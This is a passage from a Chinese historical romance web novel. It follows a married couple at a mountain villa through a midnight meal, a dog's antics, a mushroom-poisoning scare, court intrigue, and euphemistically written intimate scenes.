“伤口疼,别赶我走了。”他径自去了榻上,躺在她躺|过的位置,好像确实受伤了,动|作较平日里迟缓一些,“这床榻好|硬,不如你私宅里的舒坦,也不如你在燕府的房间,明晚你去我那边吧。” 他比她小两岁,在她跟前就像变了个人,全然不见平日里在外面的理智与骄恣,对着她彻底袒露出幼稚、不讲理的一面,想一出是一出:“我去向父皇求旨,请封你为太子妃,好不好。” 他再一次提起了这个话题,语气像问她晚膳吃了什么一样自然。 燕姝也再一次略过,权当没听见:“我看看你伤在哪儿了。” “好不好。”他固执地又问了一遍。 二人在灯下无声对峙了一会子,燕姝叹了口气,他这样跟她犟,有什么意义呢。 梁王与太子势同水火,她不能这个时候拉着整个燕家去站队。 况且,她与他之间并不是寻常人家说亲,嘴皮子一碰的事。 燕姝幼失怙恃,早慧过人,也比寻常人更早见识到天家无情,当年燕明远被贬时,燕姝已经开始明事理了。 段修如今才二十,她信他此刻对她有情,可帝王家的真情又能保持多久。 与薛家和离已是不易,若她真的成了太子妃,日后吃了亏都只能自己默默咽下去。 燕姝轻轻贴上他,段修再次闻见了她身上淡淡的香。他与她用着一样的香,他却总觉得这味道在她身上要更好闻。 她用很温柔的力气揉着他手背上磕出来的淤青,也用很温柔地语气拒绝他:“别欺|负我了,我父母都不在,没人能给我撑腰了。” ** 别院不比府上,就算铺了两层柔|软的绵褥子,床板也还是睡着不舒坦,卫臻半夜醒了好久都没睡着。 觉得木板硌得慌,浑身刺挠,又觉得肚子瘪瘪的,怎么都不得劲儿。 再次尝试着阖上眼酝酿了一刻钟,还是寻不到睡意,反而越来越清醒,卫臻忍不住开始往床榻外侧挪。 她刚睁开眼,视线还不甚明晰,往外挪的时候用脑袋撞了燕策一下,好像撞到他鼻梁了。 燕策醒得很快,下意识抬手把她往身上抱:“睡不着吗。”他声线里睡意很|浓,眼睛也还没睁开。 卫臻用很轻的气音朝他喊,语调却急促:“我好饿!” 燕策拖长调子应了声,过了几瞬才继续开口讲话:“晚上是不是又吃太少了。” 他没来得及回来用晚膳,不知道卫臻吃了什么,眼下他隔着衣裳按了按她的肚子,确实有些过于平坦了。 “别按了,都饿扁了!”依旧是凶巴巴的气音。 燕策轻轻笑了声,揉了揉眉心醒过神来,拥着她从榻上坐起来,“穿|衣裳。” 二人简单穿了外袍就往小厨房走,山里月亮大,但今晚有大片大片的云彩,吠星在前面探路,燕策怕她晚上磕着,步子放慢了些。 卫臻踩着绣鞋,提着个小灯笼走在他旁边,吸了吸鼻子:“好像要落雨了,走快点呀。” 今日才刚住进来,小厨房收拾得干净,但并没有人轮流值夜,若现下要吃东西只能找人来现做,折腾底下人,也不撵趟,卫臻已经饿得等不及了。 燕策提着灯在架子上翻了翻,找到些时令青蔬和鸡蛋。他行军在外时会引火,但并不会炒菜,就问卫臻煮鸡蛋能不能吃,这个眼下最为便捷。 卫臻在一边点着头“嗯嗯”两下,她饿得没力气,坐在小杌子上的样子堪称乖顺。 燕策往锅里搁了几枚鸡蛋,生火的架势很利落,灶台里的火苗燃得旺,卫臻的影子被烘得很|大,纸老虎一样罩在燕策身上。 豆萁燃烧出“噼啪”的声响,在静谧的夜里格外明显,两人一狗齐齐盯着雀跃的火苗,颇有几分温情,风沿着大开的窗子钻|进|来,又悄悄退|出去。 很快锅里的水就“咕嘟咕嘟”响起来,统共用了不到一刻钟的功夫,几枚鸡蛋就熟了。 燕策把鸡蛋捞出来过凉水、剥壳的功夫,卫臻倒了小碟子米醋,撒了一撮咸盐进去,用鸡蛋蘸着吃,“这还是兰怀教我的法子呢,不费事又好吃。” 平日里不觉得煮鸡蛋有多可口,这会子半夜,吃着不腻口,又热乎乎的,下肚后肠胃一片熨帖。一共五个鸡蛋,卫臻吃了两个,剩下三个她剥了壳,把蛋清给燕策吃了,蛋黄进了吠星肚子里。 回到卧房,卫臻揉着肚子消食,就见吠星“吧嗒吧嗒”从门外跑进来,嘴里叼着一小团黑色的东西,一甩一甩的。 “你又找到什么了呀。”卫臻举着蜡烛弯腰去瞧,原来是只老鼠?! 怎么是老鼠! 卫臻惊呼着跳起来,像被鬼撵了,她往后倒退着撞到燕策,整个人直接跳到他身上挂着,说什么也不肯下来。 吠星把老鼠扔到地上,它蹲坐在老鼠旁边,尾巴拍打着地面,豆子般的眼睛黑亮亮,满脸期待。 好不容易才抓到的! 卫臻一手揽着燕策的肩又往上靠了靠,另一手捞着裙角,生怕掉到地上, “你快弄走!不准用手拿那个东西,也不要再让吠星碰到了。” 燕策就这么抱着她去院里折了根很长的树枝,挑着老鼠远远扔到墙外后山上, “不可以再给她送死老鼠。”扔完老鼠,燕策低头对吠星道。 “活的更不行!”卫臻坐在他手臂上凶巴巴补充。 惊魂未定地回到屋里,卫臻又催燕策去洗漱,“明日得让人仔仔细细给吠星洗个澡。” 燕策洗漱完出来时,卫臻正趴|在窗台前赏雨, “你看,我就说会下雨。”她神情有些得意,因为前些日子卫臻意识到好像只有她能闻到要下雨的味道,卫舒云和燕敏都闻不见。 燕策朝她走近,带来一阵子沐浴后的清冽香,皂块的味道混着山间夜雨的气息,让人闻着心里舒坦。 但他整个人依旧热烘烘的,燕策靠过来时卫臻往小榻里边躲了,又像是顺|势给他腾出一半位置。 等到在他怀里找了个舒|坦的位|处靠着,卫臻又忍不住揪着他头发瓮声抱怨,“吠星干嘛要吓唬我。” “不是吓你,大概是为了感谢你给它吃蛋黄。”他低下头来顺着她的脸颊轻轻啄|吻。 “对狗好还不如对我好,我从没给你送过老鼠。” 卫臻嘟哝了声“讨厌”,也不知道是在说狗还是说他,因为他和窗外的雨一样并不|消|停。 唇|瓣被他亲得麻|酥|酥的,卫臻趴在他肩上哼|唧着,“做什么呀,把你叫醒不是让你欺|负人的。” 夜雨很快把整座别院都濡|出潮|意,远远瞧着,对面屋子上排列整齐的青砖瓦片上映着不成型的月亮,卫臻轻|咬|唇瓣,撑在窗沿上望向外边的雨幕,听风带走枝叶的碎影,又把檐下水|柱吹得歪斜,打|在墙壁上,雨雾漫开,窗棂挨上去有些冰,裙摆堆叠也挡不住夜间的凉意,燕策给她递了个软枕。 起初风并不大,窗扇大开着,也无需担心潲雨。卫臻以为是和前几日一样的,下一场毛毛雨,并不会带来太|大的烦难。不|急不|躁的雨丝迎面拂在脸上,凉津津的。直到夜风骤起,雨势前所未有的汹|涌,整串树枝被风刮着尽|数从雕花窗棂缝|隙入|了屋内,完完全全。花瓣扑簌着落入卫臻视线里,影影绰绰。 梦|呓似的音被卫臻用指尖碾|碎,这不对。软枕的绒布面在她手底下被被攥褶,乌黑柔|顺的长发被风卷着往眼前飘,遮了视线,卫臻也顾不上梳理。今时不同往日,雨横风狂,桌案上青瓷窄瓶里的花枝横斜打|晃,屋内浮动着闷|钝的响和香。 他没同她打商量,窗外的闪电和她的质问一同来到。却又算不得质问,因为卫臻被闷雷吓到了,整个人一|缩,回首时腕子上戴的羊脂玉叮当镯打在燕策喉结上。 脖颈处霎时红了,燕策有些|疼,闷|哼一声,下颌抵|在她肩窝。 卫臻瞳仁颤了颤,不知是谁碰倒了一旁桌案上的茶盏,清脆的瓷裂声在屋内响起,天青色杯盏四分五裂。 闪电与惊雷在天幕褪去,滂沱的山间夜雨就这么停了,只落了半刻钟。他方才给她倒的酽茶从碎瓷片|缝|隙间流|淌|出,尽|数倾|泻|到地面上。 卫臻不明所以,迷迷瞪瞪去看竹席上散落的碎瓷片,又看他泛红的下颌,心头怨怼尽消。 怎怎么就, 把他打疼了吗? 第30章 夜雨骤停,天地间一片静,唯余窗外虫鸣窸窣。 长长的裙摆拖拽至地面,杏色的软|滑料子,颜色纹样极漂亮,月光倾|泻|在上面,顺着布料纹理往|下,与地面的茶水汇到一处,茶水里也添了一汪碎月的影。 卫臻以为山里的雨会落很久,就像她以为他是无所不能的。 但好像,她想岔了。 在灯下拢了拢头发,用指尖重新理顺,原来几月前她无不|适,其中另有缘由。先前他讲未曾久处,大抵也是能力使然。 燕策并不是能游刃有余地应对所有事情,当然会遇到令他措手不及的情况,严格意义上今日与先前都不一样,意外来临时他自己也有些不可置信。 他十五时就能拉开四钧的弓弩,且最善久|战,十七岁对阵敌营三拨精锐,刀刃卷|了也无疲|态,燕策不信自己会栽跟头。 如此,两人各怀心思安静了几瞬,夜幕被撕开个口子,外边又一道闪,打破了寂静。 燕策下意识抬手捂住卫臻的耳朵,把她往怀里抱。 被削弱的闷雷声响起时,卫臻回头望了他一眼。 他眼尾泛着红,细密眼睫投下一小片阴影,叫人看不出情绪。 但平日里一直张扬的眉眼此刻正往下耷|拉着。 接触到她的视线,燕策也未曾讲话,只有凸|起的喉结在夜里缓慢|滑|动|几下。 莫名显出几分微妙的,脆弱感。 卫臻想到他半夜被叫醒了也没生气,还带她去小厨房。 凭心而论,如果她被半夜吵醒,是绝对会生气的。 于是卫臻破天荒地主动亲了亲他线条流畅的下颌,柔声安慰:“我没有不高兴。” 除了刚成婚时被他哄骗着亲,这是卫臻头|一回主动亲他。 甚至,她还抬手摸了摸他的头发,用很温柔的力|道,带着阵属于她的甜香,像摸狗一样, 一边摸一边夸他,“这样已经很好啦。” 燕策:“” 更不对了。 一切都乱糟糟的,小榻上的竹席散落着碎瓷片,怕被瓷片伤到,卫臻也不敢轻举妄动,想拿帕子擦一下。 燕策直接抱着她去了另一扇窗前,那边没有能坐下的椅子或者小榻,只能站着。又折腾什么,再好的夜景也用不着大半夜赏,卫臻下意识想阻止,但一想到压根呆不了多久,又应了。 方才短暂的夜雨也着实来势汹汹,落了不少雨水。俩人一直挨着,卫臻趴在他肩头朝后望了眼,月光洒落在裙角,柔软布料披上层清辉,冷白的月光也随裙角蜿蜒往|下,三三两两顺着两人走过的方向淌了一路,微风自窗外拂过,凉津津的,送来阵泥土腥与草木的清新气息。 慢慢走过去,窗外竟再次开始落雨,动静不小,裙角被踩了下,卫臻一个趔趄,这个时候摸黑摔了是极狼狈的,她回头想扇他脸。 燕策喘|着气,贴|了贴她柔|软的脸颊,“别打。” 碎发被|蹭|得翘起,卫臻脸颊痒|痒的,平日里经常打他,她自认下手一点都不重,很多时候甚至都算不上打。 可他现在却在阻止她,卫臻有些不解: “是我方才把你打疼了吗?” “不是。” 他否认得|快,但没同她讲缘由。 山中雨势渐渐|大|了起来,水|声渐|密,虫鸣鸟啼,花叶窸窣,还伴着铃铛的响,一切都被掩在雨里。 卫臻望着窗外小石潭里里的一圈圈涟漪,起初很是掉以轻心,后来越发觉得不对劲,这阵子的雨好像和方才不一样,下个没完。明日山路定然泥|泞难行。 山顶夜色原比山下更为浓|重,风一阵阵吹,卫臻前额几次碰到窗棂,总觉得离山顶的月亮越来越近,若不是有窗沿拦着,手几乎可摘揽星辰。 月亮也比平日里大,雨雾都遮|挡|不住,大片皎洁的月光穿过雨幕,尽数落在窗外小石潭里,夜风疏狂,水面亦不宁,月光碎碎的影子被池水|推|挤|着,要满|溢|出来,卫臻探|手伸向窗外,想捞一把月亮,却也只接了一捧雨水。 乱风飘絮,水打浮萍,小石潭数遇新雨。这般被雨声吵嚷着,一直到天亮了卫臻才堪堪睡下。 燕策没让侍女进来,晨起时独自给她收拾完,也没|睡觉,就那么出门上值了。他前脚刚出门,后脚燕敏和卫舒云就过来了,俩人叽叽喳喳着来喊卫臻去林里捡菌子。 祝余正在院子里给吠星洗|澡,拿竹瓢舀了好几瓢水,却也只打湿|了它表面一层。 吠星并不是很喜欢洗|澡,它有一身厚厚的毛,无助且防水。 知道两人来意后,祝余把人拦了,讲卫臻还在休息呢。 燕敏来之前还想吧吠星带上,一道去采菌子,她觉得狗的鼻子肯定好使,但是看见吠星在洗|澡就作罢了。 在这件事情上所有人都有默契:狗刚洗完澡的当日不可以把它带出去踩泥巴。 卫臻这一睡就是几个时辰,睡得很沉。 昨夜这边的床帐不知怎的坏了,兰怀进里间轻手轻脚挂了个新的,期间卫臻也没被吵醒。 兰怀数了数时辰,怕她饿坏了,把人喊醒吃了点东西。 燕策中午回来时卫臻正睡着,问过侍女知道她用过膳便没叫醒她。 她蜷着身|子睡在最里边,整张脸埋进毯子里,怕她闷坏,燕策给她把毯子往外扯了扯,露出张睡得酡|红的脸。 一直到过了晌午卫臻才转醒,躺在那醒了会子神。 也不知道怎么能好几个时辰,明明一开始很是匆匆,她想不通。 卫臻一边思索着,一边手|探|到颈后想给系带打个结,好起来洗漱。 睡前不舒|坦,她自个把系带解开了,这样能觉得松快些。 但现下摸索过去,却已然是系着的。 不需要细想卫臻也知道是谁,兰怀不可能多此一举突然做这个。 烦人。 穿外裙时又发现手上的镯子换了,不是她睡前戴的。 现下腕上是一对没有任何雕花的粉玉镯子,圈口正合适,细腻通透,触感温润,卫臻忍不住多摩挲了几下。 极好的料子,任何雕饰反而都是多余的,这漂亮的浅粉色就足以让人爱不释手。 先前被兰怀叫醒吃饭的时候还没有这个镯子,该是燕策在她第二次睡着后给她戴上的。 他虽然没有把她叫醒,但是仍给她留下这种小痕迹,让她一醒来就知道他回来过。 白日里天阴沉沉的,但没再下雨,山风拂面很是凉爽,沈明秀过来找卫臻喝茶。别院里每家每户都是挨着住的,医官程家的住处就在隔壁,卫臻又让人把程娘子也请来,程若蘅曾给卫臻把过几次脉,二人也算熟识了。这般连带着燕姝,四人一齐在院子里打牌。 刚打了两三把,就听见院门口一阵吵嚷,是卫舒云和燕敏带着人回来了,俩人叽叽喳喳吵闹出十个人的动静,还一人背着一个竹编小背篓,颇有几分野趣,有别于她们平日在京城里大家闺秀的样子。 “你们就这么两个人带着侍女上的山啊?”卫臻问道。 “没呢,六哥哥留了护卫,我喊了几个人跟着的。”燕敏把自己背篓里的菌子一股脑儿倒在院里,上面还沾着泥,“你们瞧,我捡的菌子是不是比舒云的多!” “分明是我的多,你还趁我不注意从我背篓里偷了几朵大的。” 还不等俩人争辩出个高下,一旁的程若蘅就变了脸色:“神天菩萨,你们俩这手,真是不能要了。” “怎么了?” “这里边半数以上都是有毒的,快去备水和皂块来,让两位女郎仔细净手。”程若蘅虽专医妇人之症,但常见草木菌子的药性她都是很熟识的,一眼就能瞧出来哪些有毒。 卫舒云二人一时间紧张得说不出话,听见程娘子又问她们采菌子时有没有吃东西了,俩人连连摇头,幸亏手上全是泥巴,脏兮兮的,顾不上吃。 等水送来了,俩人凑一块反复洗手,一直搓洗到指腹发白才作罢,“我明明特意只采那些长得丑的,怎么还是会有毒!” 程娘子又开了个解毒的方子并嘱咐二人,三日之内切记不要用手接触食物。 “那我们怎么用膳啊!” “可用筷子,但最好是让侍从帮你们,防止一个不防备用手碰了吃食。” 卫臻不放心,干脆让侍女拿棉布把俩人的手松松裹了起来。 燕策回来时,就见卫臻正坐在玫瑰椅上看话本子,卫舒云和燕敏一左一右靠着她肩,卫臻吃了一口樱桃煎,顺带着给左右俩人嘴里各塞一块 他都没有过这个待遇。 用晚膳时,卫臻看着卫舒云和燕敏被侍女一勺一勺喂着药,苦哈哈的。她突然想到,连解菌子之毒都有专门的药方,那是不是也有能助人|强|身的药。 燕策是不是瞒着她吃药了啊? 卫臻曾在话本子里看到过类似的情节,先前看的时候还不懂,眼下一联想到他,忽然间就想明白了。 等到晚上屋里只剩下两人,卫臻忍不住问他:“你昨日是吃药了吗?” 燕策点点头,自然吃了。 这种事没个定数,因此他每日都会吃避|子|药,有备无患。 卫臻心下了然,果然。她体贴地没有继续这个话题,望向燕策的眼神颇为复杂。 燕策低头对上她视线,有些不明就里。 不懂她视线里的—— 怜悯? 怎么会是怜悯。 他确实喜欢对着卫臻装可怜,但她此刻的眼神分明和他想的不一样。 这不对。 30-40 第31章 燕策猛地想起昨日初时的情形,卫臻现在的眼神就和那时候一样。 于是他开始告诉她那不作数,让她忘掉,只记得后来的就行。 卫臻懂此事对他的意义,嗯嗯|唧|唧应下,半分没同他争辩。 她觉得自己是极善解人意的,没有戳穿他的痛处,天底下再没有比她更心软的女郎。 顺手扯了燕策一缕头发缠在指间,宽袖滑|落,露出腕上的粉玉镯子,剔透的玉石几乎要与她莹白的手臂融|在一处,卫臻问道: “你下午回来过啊。” 燕策应了声,看着她用他的发梢拂过玉镯,这镯子戴在她手上比他想象的还要漂亮。 她喜欢吗? 看她一直戴着应当是喜欢。卫臻有很多首饰,若是不合她的眼缘,很快就会换下来收进箱笼里。 喜欢怎么不夸他。 其实也不太需要夸,他哄她高兴是天经地义的。 只有狗打猎回来才会盼着人夸几句。 “这个,” 卫臻抬手轻轻晃了晃手上的镯子,中断燕策的思绪。 “我特别喜欢。”她说话时尾音往上翘着,瞳仁也黑亮亮的,就这么在她怀里抬着头看他。 他没说话,卫臻又点点他心口处,“你跳好|快。” 喉结上下|滑|动几番,燕策本能地低头想亲她。 卫臻把人推开,瞪了他一眼。 她肤色白皙,眼睛下带着层淡淡的乌青,使得这一眼没什么分量。 燕策又抬手用指背在她眼下轻轻碰了碰。 他刚净完手,手上带着皂块的清香和水的凉意,很舒|服,卫臻抓着他手,搁在眼皮上覆着。 她脸太小了,他手掌又生得|大,这般覆上去,卫臻大半张脸都被遮住了,只剩下浅红的唇瓣,格外显眼。 清浅的气息喷洒在颈窝处,卫臻察觉到他靠近了。 眼睛上覆着他的手,看不见,只能猜。 他要亲她脖子吗,还是耳朵。 莫名紧张地|咬|了下唇,唇|瓣|分|开的一瞬,舌尖被他亲了下,卫臻耳朵一下子就红了。 想推|开他,但是一想到他都病急乱投医了,如果这时候推|开,保不齐会被他误会,兴许他还会胡思乱想。 于是卫臻红着脸,吭哧吭哧仰着头,由他亲。 察觉到她的纵容,燕策用齿尖轻轻|咬|她她唇瓣,她也只是把手搭在他胳膊上,并没有推|开。 仰头站了太久,脖子有些|酸,卫臻轻|哼|一声表示抗议,燕策刚要把人抱起来,外面倏然间传来阵敲门声。 有侍女在门外讲周流求见。 被打|断,燕策有些不|爽, 但也知道若无要事,周流不会在这个时辰过来找他。 临出门前,燕策低头|嘬|了她一下。 卫臻捂着脸把人推|开,而后背过身去,听着他的脚步声消失在门外。 对着妆台照了照镜子,唇瓣好红,被他|咬的,好在没破|皮。 抬手轻轻|碰|了碰唇瓣,软|软|的。 燕策回来得很快,进屋就换了一身黑色的夜行服,把刀佩回腰间。 “这么晚了还要出去啊?” 燕策点点头,“我晚上回来|睡,若困了就先休息。” 走之前他亲了亲她的额头。 其实有点想带着她一道出门。 燕策虽然来过劭山很多次,但这山上仍有他从未去过的角落,昨日头一回顺着小道完全走到|底,今日又只能骑马出门,若带着卫臻一齐,她难免会累,因此也只得作罢。 前些时日,段怀山奉梁王之命外出半月,却因差事办砸,被梁王罚了禁足。 昨日马球场上,梁王故意折腾出那么一出,今夜又忽称病体违和,梁王妃立即派人传信段怀山,让他连夜来劭山别院侍疾。 燕策不想让段怀山踏足有卫臻在的地方,且这也是个收拾他的好机会。 周流的消息往回传得很及时,燕策带着人在离劭山十里远的林边埋伏了一炷香的功夫,等到了段怀山。 ** 燕策出门后卫臻就靠坐在窗边看话本子,小榻已经被彻底打扫干净,半点都瞧不出昨夜的风吹雨打。 蜡烛短了一小截,吠星“哒哒哒”用鼻子顶|开门跑进来,头顶多了第三只眼睛,绿莹莹的。 卫臻从话本里抬起头就看见它头顶的毛里一闪一闪的,该是个萤火虫落在上面被吠星带进屋里了。 吠星不懂她为什么不喜欢老鼠,却在看见这种闪着光的小虫子时这么高兴,明明比老鼠差远了! 把萤火虫顺着窗沿送出去后卫臻洗了个手,吠星就一直跟在她身边走来走去。 它今个刚洗过澡,毛发蓬松又柔软,卫臻把吠星从地上抱起来,趁机用它的毛擦了擦手。 原想等燕策回来的,等了不到一个时辰他依旧没影儿,也未曾让人传个信,卫臻就自己去安寝了。 帐子没落,吠星“哒哒”跑过来,听动静它是在扒拉着床沿看她有没有睡着,大抵是把头搭在榻上了。 卫臻没敢睁眼,她知道这个时候千万不能被小狗发现在装睡,否则就会被它疯|*狂|邀请起来玩。 半梦半醒间又听见很轻的脚步声,大抵是他回来了。 卫臻睁开眼,却只看见桌案上搁着他的刀,不见燕策的影儿,困意袭|人,她翻了个身朝里边继续睡了。 怕吵醒她,燕策去了外边的浴|房,回来落下帐子,就见卫臻又一个人抱着毯子睡到角落里,他觉得有些好笑,俩人一同安|寝时,卫臻总是往他这边|挤,这会子她一个人宽敞了,睡姿却又异常地老实。 被亲醒了,卫臻睁开眼瞧见他发顶的旋,扯了扯他的头发:“你不乏吗?昨晚就没睡。” “不想睡。”只是一夜未眠,对燕策来说还好,他现在挺有精神头的。 “那你想怎么着。” “想跟你——”他的话没讲完,就被卫臻捂住了嘴,燕策用鼻梁轻轻|蹭|了|蹭她的脸颊。 等到她的手离开,他又问:“明日会下雨吗?” 卫臻闭着眼,轻轻嗅了嗅,呼吸间嗅到了很淡的水汽,但也只是因为他刚沐|浴完, “不知道,我闻不见旁的,都是你的味道。” 燕策贴着卫臻笑出声,热烘烘的气息落在她颈窝处。 卫臻以为他在取笑自己,拧他一下:“不知道也不准笑话我,我又不是司雨大龙神,哪能天天都灵验。” “不笑你,亲你。” “不|要,我好困,白日里补觉也不踏实。” 软|绵|绵的腔调是独属于她的利|器,拒绝他的时候都像在说哄人的情话, “给我系上呀,你消|停点。” 最终燕策也只得按原样给卫臻系好,而后听着她清浅的呼吸声,一同缓缓|入|睡。 卫臻梦见吠星又抓了好多只萤火虫给她,还尽数装在个小琉璃瓶里。 怕萤火虫跑掉,她去妆台上找了个装花露的瓷瓶,试图用瓷瓶上的木|塞把琉璃小瓶里的萤火虫关在里面。 装花露的瓷瓶有些|大,因此木|塞并不|适|配于小琉璃瓶口,瓶里的萤火虫上下飞舞,闪着微弱的光,卫臻怕它们全部跑掉,急得满头汗。 不停有萤火虫飞出来,落在桌面上又很快消失了,只剩下微弱的荧光,像落了雨点子一样。 小琉璃瓶在她掌心闪着微光,废了好大的功夫都没成,妄念先一步尽|数抢占窄|小的琉璃瓶,萤火虫被窗外狂风呼啸带走,梦醒了。 今日未曾落雨,但外边风却大,不停|拍|打窗扇,糊窗的明纸都要被刮碎。 半张脸|埋|在软|茸茸的毯子里,卫臻睁开眼,被风吓到了,脑内轰的一下,他 风从劭山北边翻越而来,带着整座山的草木气息,也带着山外河面的冷意,似把整个屋子吹得|摇|晃不定,卫臻迅速闭上眼,心下暗骂几句,天杀的,他几时醒来的。 不敢发出声,她还是太善良,这人又偷偷吃药,药岂是能乱吃的。 燕策这个人,瞬间能有八百个主意,如果他犯浑胡搅蛮缠|起来,她说不过他的。 同时也怕他被戳穿后会不高兴,卫臻只得顾虑他的心情,像这样装睡,假装自己也被瞒着。 燕策躬身凑过来亲她后脖颈,他唇瓣带着潮|意,像梦里小狗的鼻子。 都不能算作亲|吻|了,是咬,用他两颗锋利的犬齿咬|她的脖颈,毫不收敛。但齿尖这点力|道,在两相比较之下,好像也算不得什么。这人真是,一点都不怕她醒来吗? 燕策当然知道她醒了。 早在卫臻睁开眼的瞬间就知道了,她呼吸间每一次收|放气息都会传递给他。且她每回被雷声或者风声吓到,整个人就会被吓得肩头一缩。卫臻熟睡和醒着时的反差,燕策比她自己还要熟悉。 装睡太久,卫臻腿麻了,想翻个身,微微一|动,麻|掉的小腿好像开始抽筋,脑内有些转不|动|了,等到小腿没那么僵了,眼泪已经打|湿|了一小片毯子。这药材着实厉害,卫臻在心里暗戳戳想着,同时努力借助蓬松的毯子掩住唇边|呼|声与窗外的风声。 怕她被毯子闷到,燕策拨开帐子,抱着卫臻翻了个身,几缕风带走帐内闷钝的气息。卫臻自认为伪装得很好,山风拂面,她连眼睫都不颤|一下。院中翠竹与帐子一道响成片并不温柔的调子,良久,金乌高悬,枝头鸟雀鸣啾啾掠出数丈远,燕策下颌抵|在卫臻颈窝,屋里静悄悄的,只有他的呼吸|声喷|洒|在她耳际,风把窗边花香送进来,是晨起时刚开的各色小山花,极|馥|郁。 可可以睁开眼了吧, 卫臻细密的眼睫颤|啊|颤|的。 没想到,一睁开眼,就直|直|对上燕策的视线。 他眼尾勾|着抹|红,眸中笑意明显,声线也疏懒: “在装睡吗。” 他无半分歉疚之意,对视几瞬,卫臻先慌了。 为什么要慌,明明不是她先,他怎么敢直接问出来。 燕策并不需要她的回答,只是想看她支支吾吾说不出话的样子。 问完就亲了亲她的脸颊,“翘翘说得对,今日果然未曾下雨。” 莫名其妙被夸,卫臻红着脸,催他出去更衣,燕策却依旧这么抱着她。 出去上值就又有一大堆冗杂公务需要处理,今日虽未落雨,但窗外山风凛冽,听着有些冷,屋里边暖融融的,角落里搁着个陶制小熏炉,里头点了香,是大风天用来驱小虫子和屋内潮气的,味道淡雅好闻,细烟袅袅。 一切都合时宜,叫人不愿出门。 他道:“不想出去。” 第32章 上午的时候燕敏带着小元过来玩,小元最近开始学数术了,手上还拿着几支竹筹。 她只会很简单的十个手指之内的数术,并不会用竹筹,不过拿着玩,应个景儿。 卫臻问小元一添三是几,她掰着手指头数了数,大声答:“四!”卫臻正夸着,兰怀回来了。 早上卫臻听见外边吵嚷,让兰怀出去问问发生何事。 眼下兰怀捋着气道:“梁王府有位姬妾趁着王爷和王妃不在,正生事呢,梁王妃就带着仆从往回赶了。” 燕敏忍不住问:“好大的热闹,我也听见外边动静了,这是谁传的呀?” “小厨房的庞妈妈,她闺女给山上送菜蔬时,听梁王府的婆子讲的。” 燕姝笑着讲燕敏一打听这些热闹时就来劲了。 “我手缠着,吃也吃不香,还不准我打听点热闹啊。” “这里就属你吃得最香。” 卫臻在一边听了觉得有些奇怪,这种不光彩的事,还发生在王爷的后院,都该是遮着藏着,哪有这般散播的。 ** 段怀山重伤,梁王妃漏夜下山回王府,怕被人知道内情,特意遣了几个婆子到处说是府上姬妾生事。 府医连夜救治,段怀山一直高热昏迷,熬到天亮才睁眼。 屏退下人后,段怀山不停讲是燕策害了他,“我曾经给卫氏下药,他定是要替他的新妇出气,除了他没人敢害我,”段怀山仍很虚弱,说到一半停下喘了几口气,“也唯有他有机会在山脚下动手,母亲,你一定要告诉父亲。” “不可,若你父亲知道了,罚你事小,倘或这事闹大了,被圣上知道,你父亲定会遭升上斥责。不能在这个关头拖你父亲后腿。” 况且,一旦被王爷注意到有卫臻这么号人,万一顺藤摸瓜挖出来她的事梁王妃不敢继续想。 梁王妃想把这事瞒下,却压根瞒不住,梁王很快就知道了段怀山被禁足期间私自外出,还受伤了。梁王立即派遣他的亲信洪志回府彻查此事。 伤段怀山的那群人个个魁梧,且十分谨慎,撤|退得很及时,现场没有任何蛛丝马迹可循,也无兵器遗留,唯一未曾来得及被清理掉的是那支射穿段怀山腹部的箭簇。 洪志一眼认出这箭簇是突厥所产,形状特殊,用的材质是突厥特有的赤铁矿,且听段怀山的随从描述完黑衣人的身形和打斗路数,洪志心里的判断又笃定几分。 ** 四方馆内,其其格送走了梁王的人,来找到提厉: “你又去找段怀山的麻烦了?” “这次真的不是我!”提厉也已经知道段怀山伤重的事。 “方才梁王的人已经找上门了。你知我与梁王往来,为了给我使绊子,这些时日你可没少跟段怀山明争暗斗,当我是瞎的吗,不是你会是谁?” 提厉猛地从椅子上站起来,“是是燕策!这里唯一与我有过节的就是他。” 其其格下意识抽|出盘在腰上的鞭子,“刺伤段怀山的,是我们带来的箭簇。燕策从哪能得到这些?” “他伤我那日,我的兵器和人全都被他带走了。”时隔多日,再次提起先前的事,提厉心头仍旧满是不甘。 “那你怎么会好端端被他放了?” 提厉吼道:“他故意的!” 其其格用力对他抽了一下鞭子,当即把他手臂抽出道血印子,“你就让我用这样的话去说服梁王吗?” 提厉吃|痛|吞|声,颓然跌回椅子上。 ** 以往吠星只在国公府内几处院里溜达,所以它没戴过项圈。 这段时日住在山上别院里,人杂,不比府中,卫臻便让人去采买了一些项圈。 底下人送来好多,小狗、中狗和大狗的尺寸都有,卫臻随手给吠星试了试,就把项圈都搁在桌案上了,预备等一会儿她爱动弹时,用项圈牵着吠星去外面转转,看哪个它长时间佩戴着最舒|服。 屋内静悄悄的,卫臻正靠在窗边小榻上打璎珞,祝余进来轻手轻脚收拾墙角的薰炉。 薰炉里有大堆未充分燃烧的布料,不太好清|理,祝余把薰炉拿去外面了,预备找个小笤帚扫几下。 卫臻紧张兮兮地望过去,还好祝余什么话都没讲。 晨|起时她一坐起来就,气得脸通|红。 帕子不担事,燕策一边被她骂,一边手忙脚乱拿枕|边的衣裳才给她勉|强收拾好。 有了那条衬裙的前车之鉴,卫臻这次直接让燕策当她面,把衣裳放进薰炉里烧了。 眼下一听见清|理薰炉的动静就莫名心虚。 又有侍女过来收整散在一旁的竹筹,小元上午来玩时搁在这忘记带走了。 卫臻见吠星想去够竹筹,就让侍女把东西搁下了,她拿来逗吠星玩。 燕策回来时正听见卫臻在问吠星:“二添二,得几?” 吠星歪着身子抬起一只前爪,轻轻搭在卫臻手上,爪上四个趾像朵小|花一样朝外|张开。 “豪狗!你知道是四呀。” “怎么这么聪明。” 跟这种讨人喜欢的好小狗讲话,就是会让人不由自主把声音放|软。 “它本来就只有四个趾,”燕策在她旁边坐下,两个人的腿|紧|挨在一处,“你问的如果是二添三,它就没法赶巧了。” “谁说的。”她声音又变回平时跟他讲话时凶巴巴的语调。 “二添三——”卫臻抓过燕策的手在吠星眼前晃晃,“是五。” “记住了吗?”声音很甜,是对吠星讲的。 为了让他五根手指彻底展开给吠星看,卫臻拿自己的手在他掌心抵住。 软|白的手指紧|紧抓着他的手,燕策屈指,顺势把她整只手都包|裹|住,而后另一手捂|住吠星的眼。 他手很大,其实是把幼犬整个头都罩住了。 在吠星视线被遮|挡的几瞬,燕策凑上去亲|了亲卫臻,她脸颊和唇瓣都有股甜香,亲上去很|软。 吻毕,卫臻轻轻踢他一下,跟他拉开些距离,“讨厌,快去更衣,少在这烦我。” 燕策轻笑一声,站起身来随手|解|开|腰|封前的玉扣,边脱外袍边朝衣橱前走去。 身后响起卫臻略带差异的声音:“你穿的什么?” 